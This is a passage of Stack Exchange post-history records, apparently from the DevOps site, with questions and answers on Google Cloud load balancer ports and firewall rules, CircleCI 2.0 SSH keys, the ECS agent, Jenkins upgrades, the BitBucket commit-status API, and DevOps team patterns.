  <row Id="2650" PostHistoryTypeId="2" PostId="833" RevisionGUID="edfb9c50-bed2-4fe3-b262-d9de4f517e87" CreationDate="2017-04-10T19:04:14.837" UserId="902" Text="It seems that by default, Google Cloud load balancers expose a number of ports unecessarily.  I haven't found a way to expose only 80/443 and every time I make one of their load balancers, the following ports are seen in an nmap:&#xD;&#xA;&#xD;&#xA;PORT STATE SERVICE&#xD;&#xA;25/tcp open smtp&#xD;&#xA;80/tcp open http&#xD;&#xA;110/tcp open pop3&#xD;&#xA;143/tcp open imap&#xD;&#xA;443/tcp open https&#xD;&#xA;465/tcp open smtps&#xD;&#xA;587/tcp open submission&#xD;&#xA;993/tcp open imaps&#xD;&#xA;995/tcp open pop3s&#xD;&#xA;1720/tcp open H.323/Q.931&#xD;&#xA;8080/tcp open http-proxy&#xD;&#xA;&#xD;&#xA;Is there a way to block 25, 465, 587, 993 &amp; 995? " ContentLicense="CC BY-SA 3.0" />
  <row Id="2651" PostHistoryTypeId="1" PostId="833" RevisionGUID="edfb9c50-bed2-4fe3-b262-d9de4f517e87" CreationDate="2017-04-10T19:04:14.837" UserId="902" Text="Open Ports on Google Cloud Load Balancer" ContentLicense="CC BY-SA 3.0" />
  <row Id="2652" PostHistoryTypeId="3" PostId="833" RevisionGUID="edfb9c50-bed2-4fe3-b262-d9de4f517e87" CreationDate="2017-04-10T19:04:14.837" UserId="902" Text="&lt;load-balance&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2653" PostHistoryTypeId="2" PostId="834" RevisionGUID="275ca666-2e36-4ba7-9d0b-07afaa0ec34b" CreationDate="2017-04-10T19:57:31.723" UserId="152" Text="I don't think you will be able to get a definitive answer for this because it seems like a lot of things factor in.&#xD;&#xA;&#xD;&#xA; - How on board the company is with the DevOps practice&#xD;&#xA; - What sort of application or service the company provides&#xD;&#xA; - The structure of your company&#xD;&#xA;&#xD;&#xA;I just got done interviewing for positions and ended up with a title of DevOps engineer, but some of what I am doing is Sys Admin work. That is just out of necessity because of the size of the company and the nature of what is being managed application wise. &#xD;&#xA;Some positions I interviewed for had a similar title and they were looking more for someone from the development side of things experience wise. They expected more writing of code and not a sys admin who does automation. &#xD;&#xA;SRE seems to be a title gaining popularity so that might be the way to go. I had myself as System Administrator and Automation Engineer as my last job because I was writing ansible and chef stacks part of the time. The company was following a pretty good devops model where everyone was on board and devs worked alongside ops but I think their future didn't have dedicated infrastructure people in mind. &#xD;&#xA;&#xD;&#xA;Now that I am in this position I am trying to shoe horn in some automation and we have some people problems we will have to sort out. People come and go and some of the workflows were designed because someone else designed it that way and not because it fits how people work. &#xD;&#xA;&#xD;&#xA;So basically I think you should figure out the job description and not worry so much about the title unless its tied to pay somehow or you think one or the other would attract the right kind of people." ContentLicense="CC BY-SA 3.0" />
  <row Id="2654" PostHistoryTypeId="5" PostId="833" RevisionGUID="bbe1b20b-e6e5-472f-af40-16ae03385da7" CreationDate="2017-04-10T20:47:22.240" UserId="397" Comment="Formatted Table and Added Tags" Text="It seems that by default, Google Cloud load balancers expose a number of ports unecessarily.  I haven't found a way to expose only 80/443 and every time I make one of their load balancers, the following ports are seen in an nmap:&#xD;&#xA;&#xD;&#xA;    PORT     STATE  SERVICE&#xD;&#xA;    25/tcp   open   smtp&#xD;&#xA;    80/tcp   open   http&#xD;&#xA;    110/tcp  open   pop3&#xD;&#xA;    143/tcp  open   imap&#xD;&#xA;    443/tcp  open   https&#xD;&#xA;    465/tcp  open   smtps&#xD;&#xA;    587/tcp  open   submission&#xD;&#xA;    993/tcp  open   imaps&#xD;&#xA;    995/tcp  open   pop3s&#xD;&#xA;    1720/tcp open   H.323/Q.931&#xD;&#xA;    8080/tcp open   http-proxy&#xD;&#xA;&#xD;&#xA;Is there a way to block 25, 465, 587, 993 &amp; 995? " ContentLicense="CC BY-SA 3.0" />
  <row Id="2655" PostHistoryTypeId="6" PostId="833" RevisionGUID="bbe1b20b-e6e5-472f-af40-16ae03385da7" CreationDate="2017-04-10T20:47:22.240" UserId="397" Comment="Formatted Table and Added Tags" Text="&lt;security&gt;&lt;load-balance&gt;&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2656" PostHistoryTypeId="2" PostId="835" RevisionGUID="f677a56b-24f2-4fa4-9b99-cd4766a9aa7d" CreationDate="2017-04-10T21:16:21.830" UserId="1216" Text="You can use custom instances of any type with ECS -- the key is running the ECS container agent on the instance of your choice. So in general I followed this documentation on that process with success -- http://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-agent-install.html -- but do note that you probably want to also specify the ECS cluster into which the instance goes (otherwise it will go to &quot;default&quot; cluster).&#xD;&#xA;&#xD;&#xA;To specify the cluster you specify env var ECS_CLUSTER, typically in `/etc/ecs/ecs.config` prior to running the container agent. See here: http://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-agent-config.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="2658" PostHistoryTypeId="5" PostId="835" RevisionGUID="eb9b5a68-389c-4ec3-b928-b64dbbf46f6c" CreationDate="2017-04-11T04:10:46.490" UserId="46" Comment="added 20 characters in body" Text="You can use custom instances of any type with ECS -- the key is running the ECS container agent on the instance of your choice. So, in general, I followed this documentation on that process with success -- http://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-agent-install.html -- but do note that you probably want to also specify the ECS cluster into which the instance goes (otherwise it will go to &quot;default&quot; cluster).&#xD;&#xA;&#xD;&#xA;To specify the cluster you specify env var ECS_CLUSTER, typically in `/etc/ecs/ecs.config` prior to running the container agent. [See here][1]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-agent-config.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="2659" PostHistoryTypeId="2" PostId="836" RevisionGUID="e305b211-7329-4493-ae29-dae09deb7f79" CreationDate="2017-04-11T05:15:49.353" UserId="2256" Text="&gt; Is there any other viable solution, maybe better than the ones above :) ?&#xD;&#xA;&#xD;&#xA;For Jenkins probably no, due to the license issues you mentioned (you have to run macOS on Apple branded hardware). If you can work with that then it's definitely a solution.&#xD;&#xA;&#xD;&#xA;If not, then I'd suggest you to check for a hosted iOS continuous integration system where you don't have to deal with the Apple hardware / licensing, the service will manage it for you, e.g. https://www.bitrise.io&#xD;&#xA;&#xD;&#xA;There are also services where you can rent Apple hw and you can configure it any way you like, https://www.macstadium.com is one of them (probably the biggest one)." ContentLicense="CC BY-SA 3.0" />
  <row Id="2660" PostHistoryTypeId="6" PostId="831" RevisionGUID="f54fa5ca-05fc-497b-a8dc-ca3790167b34" CreationDate="2017-04-11T06:08:01.723" UserId="46" Comment="edited tags" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;ios&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2661" PostHistoryTypeId="2" PostId="837" RevisionGUID="5401228d-4890-4544-ae03-e2844397e54b" CreationDate="2017-04-11T06:50:42.650" UserId="775" Text="You can't add `deny` rules to GC firewall. The default policy is `Deny`. You can only add `allow` rules - allow everything you need and let everything else get rejected. &#xD;&#xA;&#xD;&#xA;Since the ports you need to block are allowed by default, you simply need to remove them. Check the name of the default rule:&#xD;&#xA;&#xD;&#xA;    gcloud compute firewall-rules list [NAME …] [--regexp=REGEXP, -r REGEXP] [--filter=EXPRESSION] [--limit=LIMIT] [--page-size=PAGE_SIZE] [--sort-by=[FIELD,…]] [--uri] [GLOBAL-FLAG …]&#xD;&#xA;&#xD;&#xA; and delete it with:&#xD;&#xA;&#xD;&#xA;    gcloud compute firewall-rules delete NAME [NAME …] [GLOBAL-FLAG …]&#xD;&#xA;&#xD;&#xA;You may check [here][1] for more detailed explanation on how to handle Google Cloud firewall.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/sdk/gcloud/reference/compute/firewall-rules/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2662" PostHistoryTypeId="2" PostId="838" RevisionGUID="8cbed4e3-b30a-4285-a8db-70588941a90b" CreationDate="2017-04-11T07:36:19.850" UserId="210" Text="Aim &#xD;&#xA;&#xD;&#xA;To deploy docker container using ansible using CircleCI&#xD;&#xA;&#xD;&#xA;Method&#xD;&#xA;&#xD;&#xA;A private key has been created&#xD;&#xA;This has been added to the UI&#xD;&#xA;&#xD;&#xA;Results&#xD;&#xA;&#xD;&#xA;Running ansible results in&#xD;&#xA;&#xD;&#xA;Failed to connect to the host via ssh: Warning: Permanently added&#xD;&#xA;Permission denied (publickey,password)&#xD;&#xA;&#xD;&#xA;Discussion&#xD;&#xA;&#xD;&#xA;The assumption was made that the keys would have been stored in ~/.ssh, but this seems to be empty" ContentLicense="CC BY-SA 3.0" />
  <row Id="2663" PostHistoryTypeId="1" PostId="838" RevisionGUID="8cbed4e3-b30a-4285-a8db-70588941a90b" CreationDate="2017-04-11T07:36:19.850" UserId="210" Text="Where does CircleCI store the ssh private keys?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2664" PostHistoryTypeId="3" PostId="838" RevisionGUID="8cbed4e3-b30a-4285-a8db-70588941a90b" CreationDate="2017-04-11T07:36:19.850" UserId="210" Text="&lt;circleci&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2665" PostHistoryTypeId="5" PostId="838" RevisionGUID="f4f9aabb-ec1b-48f3-b50c-8c7c0f12965f" CreationDate="2017-04-11T07:43:23.720" UserId="210" Comment="added 8 characters in body" Text="Aim &#xD;&#xA;&#xD;&#xA;To deploy docker container using ansible using CircleCI&#xD;&#xA;&#xD;&#xA;Method&#xD;&#xA;&#xD;&#xA;A private key has been created&#xD;&#xA;This has been added to the UI&#xD;&#xA;&#xD;&#xA;Results&#xD;&#xA;&#xD;&#xA;Running ansible results in&#xD;&#xA;&#xD;&#xA;    Failed to connect to the host via ssh: Warning: Permanently added&#xD;&#xA;    Permission denied (publickey,password)&#xD;&#xA;&#xD;&#xA;Discussion&#xD;&#xA;&#xD;&#xA;The assumption was made that the keys would have been stored in ~/.ssh, but this seems to be empty" ContentLicense="CC BY-SA 3.0" />
  <row Id="2666" PostHistoryTypeId="5" PostId="838" RevisionGUID="37531d28-1f4e-4629-acdc-2d8a23429103" CreationDate="2017-04-11T07:52:54.593" UserId="210" Comment="added 17 characters in body" Text="**Aim** &#xD;&#xA;&#xD;&#xA;To deploy docker container using ansible using CircleCI&#xD;&#xA;&#xD;&#xA;**Method**&#xD;&#xA;&#xD;&#xA;A private key has been created and added using the CircleCI UI&#xD;&#xA;&#xD;&#xA;**Results**&#xD;&#xA;&#xD;&#xA;Running ansible results in:&#xD;&#xA;&#xD;&#xA;    Failed to connect to the host via ssh: Warning: Permanently added&#xD;&#xA;    Permission denied (publickey,password)&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;The assumption was made that the keys would have been stored in ~/.ssh, but this seems to be empty.&#xD;&#xA;&#xD;&#xA;&gt; Is your target host accepting this key (when tried manually)?&#xD;&#xA;&#xD;&#xA;Yes. Log in using `ssh root@host -i key` succeeds.&#xD;&#xA;&#xD;&#xA;&gt; Are you using the same user in the container?&#xD;&#xA;&#xD;&#xA;Yes. The `root` user is used both manually as from the CircleCI." ContentLicense="CC BY-SA 3.0" />
  <row Id="2667" PostHistoryTypeId="5" PostId="838" RevisionGUID="c5f23744-50ea-4f58-b968-1d14fb35536a" CreationDate="2017-04-11T08:01:04.917" UserId="210" Comment="added 163 characters in body" Text="**Aim** &#xD;&#xA;&#xD;&#xA;To deploy docker container using ansible using CircleCI&#xD;&#xA;&#xD;&#xA;**Method**&#xD;&#xA;&#xD;&#xA;A private key has been created and added using the CircleCI UI&#xD;&#xA;&#xD;&#xA;**Results**&#xD;&#xA;&#xD;&#xA;Running ansible results in:&#xD;&#xA;&#xD;&#xA;    Failed to connect to the host via ssh: Warning: Permanently added&#xD;&#xA;    Permission denied (publickey,password)&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;The assumption was made that the keys would have been stored in ~/.ssh, but this seems to be empty.&#xD;&#xA;&#xD;&#xA;&gt; Is your target host accepting this key (when tried manually)?&#xD;&#xA;&#xD;&#xA;Yes. Log in using `ssh root@host -i key` succeeds.&#xD;&#xA;&#xD;&#xA;&gt; Are you using the same user in the container?&#xD;&#xA;&#xD;&#xA;Yes. The `root` user is used both manually as from the CircleCI.&#xD;&#xA;&#xD;&#xA;**Conclusion**&#xD;&#xA;&#xD;&#xA;In summary, the question is where does CircleCI store the private keys that have been submitted using the UI? The `~/ssh` directory is empty." ContentLicense="CC BY-SA 3.0" />
  <row Id="2668" PostHistoryTypeId="4" PostId="838" RevisionGUID="c5f23744-50ea-4f58-b968-1d14fb35536a" CreationDate="2017-04-11T08:01:04.917" UserId="210" Comment="added 163 characters in body" Text="Where does CircleCI-2.0 store the ssh private keys?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2669" PostHistoryTypeId="5" PostId="838" RevisionGUID="fa08a06e-071e-412a-8683-2ed7fb77ef24" CreationDate="2017-04-11T08:02:42.520" UserId="210" Comment="added 163 characters in body" Text="**Aim** &#xD;&#xA;&#xD;&#xA;To deploy docker container using ansible using CircleCI-2.0.&#xD;&#xA;&#xD;&#xA;**Method**&#xD;&#xA;&#xD;&#xA;A private key has been created and added using the CircleCI-2.0 UI.&#xD;&#xA;&#xD;&#xA;*.circle/config.yml*&#xD;&#xA;&#xD;&#xA;    version: 2&#xD;&#xA;    jobs:&#xD;&#xA;      build:&#xD;&#xA;        docker:&#xD;&#xA;          - image: ubuntu:xenial&#xD;&#xA;        working_directory: ~/project&#xD;&#xA;&#xD;&#xA;**Results**&#xD;&#xA;&#xD;&#xA;Running ansible results in:&#xD;&#xA;&#xD;&#xA;    Failed to connect to the host via ssh: Warning: Permanently added&#xD;&#xA;    Permission denied (publickey,password)&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;The assumption was made that the keys would have been stored in ~/.ssh, but this seems to be empty.&#xD;&#xA;&#xD;&#xA;&gt; Is your target host accepting this key (when tried manually)?&#xD;&#xA;&#xD;&#xA;Yes. Log in using `ssh root@host -i key` succeeds.&#xD;&#xA;&#xD;&#xA;&gt; Are you using the same user in the container?&#xD;&#xA;&#xD;&#xA;Yes. The `root` user is used both manually as from the CircleCI-2.0.&#xD;&#xA;&#xD;&#xA;**Conclusion**&#xD;&#xA;&#xD;&#xA;In summary, the question is where does CircleCI-2.0 store the private keys that have been submitted using the UI? The `~/ssh` directory is empty." ContentLicense="CC BY-SA 3.0" />
  <row Id="2670" PostHistoryTypeId="6" PostId="838" RevisionGUID="7ecbc3a1-c598-45a2-8c12-3e7f1bd97b86" CreationDate="2017-04-11T08:08:02.143" UserId="210" Comment="added 163 characters in body" Text="&lt;circleci-2.0&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2671" PostHistoryTypeId="2" PostId="839" RevisionGUID="bcbf06ab-2c37-45fc-89c1-6e72c2faf733" CreationDate="2017-04-11T08:10:24.910" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2672" PostHistoryTypeId="1" PostId="839" RevisionGUID="bcbf06ab-2c37-45fc-89c1-6e72c2faf733" CreationDate="2017-04-11T08:10:24.910" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2673" PostHistoryTypeId="2" PostId="840" RevisionGUID="98f376a4-dd63-4ba3-89d1-9794f8b4abba" CreationDate="2017-04-11T08:10:24.910" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2674" PostHistoryTypeId="1" PostId="840" RevisionGUID="98f376a4-dd63-4ba3-89d1-9794f8b4abba" CreationDate="2017-04-11T08:10:24.910" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2675" PostHistoryTypeId="5" PostId="838" RevisionGUID="0d0bc170-a646-4016-a418-20bbb67ec086" CreationDate="2017-04-11T08:13:24.400" UserId="210" Comment="added 1 character in body" Text="**Aim** &#xD;&#xA;&#xD;&#xA;To deploy docker container using ansible using CircleCI-2.0.&#xD;&#xA;&#xD;&#xA;**Method**&#xD;&#xA;&#xD;&#xA;A private key has been created and added using the CircleCI-2.0 UI.&#xD;&#xA;&#xD;&#xA;*.circle/config.yml*&#xD;&#xA;&#xD;&#xA;    version: 2&#xD;&#xA;    jobs:&#xD;&#xA;      build:&#xD;&#xA;        docker:&#xD;&#xA;          - image: ubuntu:xenial&#xD;&#xA;        working_directory: ~/project&#xD;&#xA;&#xD;&#xA;**Results**&#xD;&#xA;&#xD;&#xA;Running ansible results in:&#xD;&#xA;&#xD;&#xA;    Failed to connect to the host via ssh: Warning: Permanently added&#xD;&#xA;    Permission denied (publickey,password)&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;The assumption was made that the keys would have been stored in ~/.ssh, but this seems to be empty.&#xD;&#xA;&#xD;&#xA;&gt; Is your target host accepting this key (when tried manually)?&#xD;&#xA;&#xD;&#xA;Yes. Log in using `ssh root@host -i key` succeeds.&#xD;&#xA;&#xD;&#xA;&gt; Are you using the same user in the container?&#xD;&#xA;&#xD;&#xA;Yes. The `root` user is used both manually as from the CircleCI-2.0.&#xD;&#xA;&#xD;&#xA;**Conclusion**&#xD;&#xA;&#xD;&#xA;In summary, the question is where does CircleCI-2.0 store the private keys that have been submitted using the UI? The `~/.ssh` directory is empty." ContentLicense="CC BY-SA 3.0" />
  <row Id="2676" PostHistoryTypeId="2" PostId="841" RevisionGUID="c4f4f426-61f4-4268-b800-300315a52943" CreationDate="2017-04-11T08:26:49.093" UserId="13" Text="I still don't get how your `config.yml` could launch ansible without a step part. Here is my findings, but I'm unsure it is what you're after, but that was too long for a comment. &#xD;&#xA;&#xD;&#xA;According to the [documentation here](https://circleci.com/docs/2.0/project-walkthrough/#deploy-through-circleci) you have to add a `add_ssh_keys` with the fingerprint of your key as seen in the UI.&#xD;&#xA;&#xD;&#xA;    - add_ssh_keys:&#xD;&#xA;        fingerprints:&#xD;&#xA;          - &quot;48:a0:87:54:ca:75:32:12:c6:9e:a2:77:a4:7a:08:a4&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2677" PostHistoryTypeId="5" PostId="832" RevisionGUID="46b980e1-531d-4aee-90df-5fb6432286be" CreationDate="2017-04-11T08:54:21.933" UserId="397" Comment="added 87 characters in body" Text="You don't make any mention of the scripting language you want to use, so I will talk specifically about the HTTP requests to the BitBucket API:&#xD;&#xA;&#xA;## Assumptions&#xA;&#xD;&#xA;If you have a [BitBucket Repository][1] that has three commits in in it the first and the last are failing the build, the middle is passing:&#xD;&#xA;&#xD;&#xA; - 4768815 ❌&#xD;&#xA; - 49d7110 ✅&#xD;&#xA; - 42d357f ❌&#xD;&#xA;&#xA;## Get the list of commits&#xA;&#xD;&#xA;You can get the list of commits by calling the following API method:&#xD;&#xA;&#xD;&#xA;&gt; `https://api.bitbucket.org/2.0/repositories/{{owner}}/{{repo_slug}}/commits`&#xD;&#xA;&gt; &#xD;&#xA;&gt;   - `owner`: RichardSlater&#xD;&#xA;&gt;   - `repo_slug`: greencommitproofofconcept&#xD;&#xA;&#xD;&#xA;The response looks like this:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;pagelen&quot;: 30,&#xD;&#xA;      &quot;values&quot;: [&#xD;&#xA;        {&#xD;&#xA;          &quot;hash&quot;: &quot;4768815fdc27abf4be17096e7c460f7f68f5d39b&quot;,&#xD;&#xA;          &quot;repository&quot;: { ... },&#xD;&#xA;          &quot;links&quot;: {&#xD;&#xA;            ...&#xD;&#xA;            &quot;statuses&quot;: {&#xD;&#xA;              &quot;href&quot;: &quot;https://api.bitbucket.org/2.0/repositories/RichardSlater/greencommitproofofconcept/commit/4768815fdc27abf4be17096e7c460f7f68f5d39b/statuses&quot;&#xD;&#xA;            }&#xD;&#xA;          },&#xD;&#xA;          &quot;author&quot;: { ... },&#xD;&#xA;          &quot;parents&quot;: [ ... ],&#xD;&#xA;          &quot;date&quot;: &quot;2017-04-10T11:38:18+00:00&quot;,&#xD;&#xA;          &quot;message&quot;: &quot;README.md edited online with Bitbucket&quot;,&#xD;&#xA;          &quot;type&quot;: &quot;commit&quot;&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          &quot;hash&quot;: &quot;49d7110b98616358d16055960a4abdf2926b890d&quot;,&#xD;&#xA;          ...&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          &quot;hash&quot;: &quot;42d357f1df7a7d7bcf1f10a9f3a5a40d85d5b11c&quot;,&#xD;&#xA;          ...&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;If you parse the JSON and loop over the responses you can extract out the statuses from:&#xD;&#xA;&#xD;&#xA;    values[n].links.statuses.href&#xD;&#xA;&#xD;&#xA;Where `n` is the index, i.e. `0`, `1` or `2` in the above example.  If you were to construct this from scratch it would be in the following format.&#xD;&#xA;&#xA;## Get the list of statuses from the commit&#xA;&#xD;&#xA;&gt; `https://api.bitbucket.org/2.0/repositories/{{owner}}/{{repo_slug}}/commit/{{sha}}/statuses&quot;`&#xD;&#xA;&gt; &#xD;&#xA;&gt;   - `owner`: RichardSlater&#xD;&#xA;&gt;   - `repo_slug`: greencommitproofofconcept&#xD;&#xA;&gt;   - `sha`: 4768815fdc27abf4be17096e7c460f7f68f5d39b&#xD;&#xA;&#xD;&#xA;**Note:** this is a Hypermedia API which means the urls *could* change so I would recommend using the links from the previous response rather than trying to generate them from scratch.&#xD;&#xA;&#xD;&#xA;The response from the above HTTP request will be something like:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;pagelen&quot;: 10,&#xD;&#xA;      &quot;values&quot;: [&#xD;&#xA;        {&#xD;&#xA;          &quot;key&quot;: &quot;POC-01&quot;,&#xD;&#xA;          &quot;name&quot;: &quot;Build #1&quot;,&#xD;&#xA;          &quot;repository&quot;: { ... },&#xD;&#xA;          &quot;url&quot;: &quot;http://devops.stackexchange.com/q/809/397&quot;,&#xD;&#xA;          &quot;links&quot;: { ... },&#xD;&#xA;          &quot;refname&quot;: null,&#xD;&#xA;          &quot;state&quot;: &quot;FAILED&quot;,&#xD;&#xA;          &quot;created_on&quot;: &quot;2017-04-10T13:04:28.261734+00:00&quot;,&#xD;&#xA;          &quot;updated_on&quot;: &quot;2017-04-10T13:04:28.261759+00:00&quot;,&#xD;&#xA;          &quot;type&quot;: &quot;build&quot;,&#xD;&#xA;          &quot;description&quot;: &quot;Changes by Richard Slater&quot;&#xD;&#xA;        }&#xD;&#xA;      ],&#xD;&#xA;      &quot;page&quot;: 1,&#xD;&#xA;      &quot;size&quot;: 1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;From this response you can extract the `state` using:&#xD;&#xA;&#xD;&#xA;    values[n].state&#xD;&#xA;&#xD;&#xA;Again where `n` is the `status` - there could be many of them if one commit resulted in many builds.&#xD;&#xA;&#xD;&#xA;If the state for the build you care about is `SUCCESSFUL` then you have your answer and you can immediately return the `sha` for the commit.&#xD;&#xA;&#xD;&#xA;Loop over all of the commits from the first phase, if you run out of commits follow the `next` page `link` that is included in the call to `/commits`.&#xD;&#xA;&#xD;&#xA;## Complete Flow Diagram&#xD;&#xA;&#xD;&#xA;At a high level the flow will look like this:&#xD;&#xA;&#xD;&#xA;[![Flow Diagram][2]][2]&#xD;&#xA;&#xD;&#xA;Don't forget this is a [Hypermedia API][3] so wherever possible have your code follow the links in the API rather than trying to &quot;guess them&quot;.&#xD;&#xA;&#xD;&#xA;  [1]: https://bitbucket.org/RichardSlater/greencommitproofofconcept&#xD;&#xA;  [2]: https://i.stack.imgur.com/IMe8G.png&#xD;&#xA;  [3]: https://looselyconnected.wordpress.com/2011/03/09/the-richardson-maturity-model-of-rest-and-roy-fielding/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2678" PostHistoryTypeId="2" PostId="842" RevisionGUID="cb8551b9-00e6-41be-af3b-0622eb265c18" CreationDate="2017-04-11T09:45:58.470" UserId="13" Text="So first of all, Chef is just a manner of upgrading/configuring, it will help you keep a reproducible state and keeping configuration in line but it won't do black magic and translate your jobs for you.&#xD;&#xA;&#xD;&#xA;Now for Jenkins 1 to Jenkins 2, Jenkins-ci site says Jenkins 2 is [Backward Compatible](https://jenkins.io/2.0/#compat).  &#xD;&#xA;While this is true, when you update the pipeline plugin, not all plugins are compatible yet. There's a [compatibility list](https://github.com/jenkinsci/pipeline-plugin/blob/master/COMPATIBILITY.md) on the pipeline plugin github page.&#xD;&#xA;&#xD;&#xA;I would recommend installing a fresh Jenkins 2 and porting your jobs from Jenkins 1 to Jenkins 2. This will spot breaking plugins in Jenkins 2, allow you to strip up not needed anymore plugins and refactor your jobs.  &#xD;&#xA;This way you can also take advantage of defining the pipelines with a [Jenkinsfile](https://jenkins.io/doc/book/pipeline/) along with the code of your application." ContentLicense="CC BY-SA 3.0" />
  <row Id="2679" PostHistoryTypeId="5" PostId="639" RevisionGUID="383780c3-c3b6-4acc-820f-78234060b20c" CreationDate="2017-04-11T12:38:13.513" UserId="397" Comment="Added Excerpt and Updated Link to Etsy" Text="Feature Flags are a technique applied by Software Engineers to code bases, allowing teams to modify system behaviour without changing code.  Feature Flags are closely related to the concept of Feature Toggles." ContentLicense="CC BY-SA 3.0" />
  <row Id="2680" PostHistoryTypeId="24" PostId="639" RevisionGUID="383780c3-c3b6-4acc-820f-78234060b20c" CreationDate="2017-04-11T12:38:13.513" Comment="Proposed by 397 approved by 40, 13 edit id of 225" ContentLicense="CC BY-SA 3.0" />
  <row Id="2681" PostHistoryTypeId="5" PostId="840" RevisionGUID="abda7473-0a8b-4f07-bb96-49c8a6fd4e3f" CreationDate="2017-04-11T12:38:24.167" UserId="397" Comment="Initial Version" Text="Use this tag for questions about the Circle CI 2.0 a significant update of Circle CI's Continuous Integration and Deployment Platform.  Circle CI 2.0 went into closed beta in November 2016.  For the current version of Circle CI use the circleci tag." ContentLicense="CC BY-SA 3.0" />
  <row Id="2682" PostHistoryTypeId="24" PostId="840" RevisionGUID="abda7473-0a8b-4f07-bb96-49c8a6fd4e3f" CreationDate="2017-04-11T12:38:24.167" Comment="Proposed by 397 approved by 40, 13 edit id of 224" ContentLicense="CC BY-SA 3.0" />
  <row Id="2683" PostHistoryTypeId="5" PostId="839" RevisionGUID="b4dff6a2-871d-4e18-99e5-922e6faee5b3" CreationDate="2017-04-11T12:38:39.740" UserId="397" Comment="Initial Version" Text="Use this tag for questions about [Circle CI][1] 2.0 a significant update of Circle CI's Continuous Integration and Deployment Platform.  [Circle CI 2.0][2] went into closed beta in November 2016.  For the current version of Circle CI use the [tag:circleci] tag.&#xD;&#xA;&#xD;&#xA;  [1]: https://circleci.com/&#xD;&#xA;  [2]: https://circleci.com/blog/say-hello-to-circleci-2-0/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2684" PostHistoryTypeId="24" PostId="839" RevisionGUID="b4dff6a2-871d-4e18-99e5-922e6faee5b3" CreationDate="2017-04-11T12:38:39.740" Comment="Proposed by 397 approved by 40, 13 edit id of 223" ContentLicense="CC BY-SA 3.0" />
  <row Id="2685" PostHistoryTypeId="5" PostId="638" RevisionGUID="c9720b30-adb0-44ae-a521-8be61a384eea" CreationDate="2017-04-11T12:38:45.553" UserId="397" Comment="Added Excerpt and Updated Link to Etsy" Text="Feature flags are a technique applied by Software Engineers to code bases, allowing teams to modify system behaviour without changing code.  Feature flags are one of the techniques used to separate the activity of deployment from the activity of release.&#xD;&#xA;&#xD;&#xA;Feature flags are closely related to the concept of [tag:feature-toggles].&#xD;&#xA;&#xD;&#xA;Further Reading:&#xD;&#xA;&#xD;&#xA; - [Martin Fowler's Article: Feature Toggles][1]&#xD;&#xA; - [DevOps StackExchange: What's the difference between Feature Flags and Feature Toggles][2]&#xD;&#xA; - [Launch Darkly's Article: Feature Flags][3]&#xD;&#xA; - [StackOverflow: What is a &quot;feature flag&quot;?][4]&#xD;&#xA; - [Etsy's implementation of Feature Flagging][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://martinfowler.com/articles/feature-toggles.html&#xD;&#xA;  [2]: http://devops.stackexchange.com/q/383/397&#xD;&#xA;  [3]: https://launchdarkly.com/featureflags.html&#xD;&#xA;  [4]: http://stackoverflow.com/q/7707383/74302&#xD;&#xA;  [5]: https://github.com/etsy/feature" ContentLicense="CC BY-SA 3.0" />
  <row Id="2686" PostHistoryTypeId="24" PostId="638" RevisionGUID="c9720b30-adb0-44ae-a521-8be61a384eea" CreationDate="2017-04-11T12:38:45.553" Comment="Proposed by 397 approved by 40, 13 edit id of 226" ContentLicense="CC BY-SA 3.0" />
  <row Id="2687" PostHistoryTypeId="5" PostId="821" RevisionGUID="da339e29-211a-421c-88f3-9c5744883416" CreationDate="2017-04-11T14:03:15.613" UserId="397" Comment="Fixed Formatting Error" Text="I have been practising and advising on DevOps as a consultant with different clients for almost five years now, before my current position, I held roles in software development, web operations and systems administration.  In my **personal** experience DevOps comes in many flavours.&#xD;&#xA;&#xD;&#xA;Organization Patterns&#xD;&#xA;=====================&#xD;&#xA;&#xD;&#xA;DevOps Antipatterns:&#xD;&#xA;&#xD;&#xA; - **NoOps** and **NoDevs** - not strictly DevOps in the most strict sense, however, these teams both build and operate software without a dividing line between Development and Operations.  The challenges with these teams come down to maturity, Development teams may be expert Software Developers but novice Operators and visa versa.&#xD;&#xA;&#xD;&#xA; - **The DevOps Bridge** - this is where one or more teams are given responsibility for taking work from the development teams and &quot;[Productionizing][1]&quot; it to make it operable.  The challenge comes down to now there are two hand-offs, i.e. 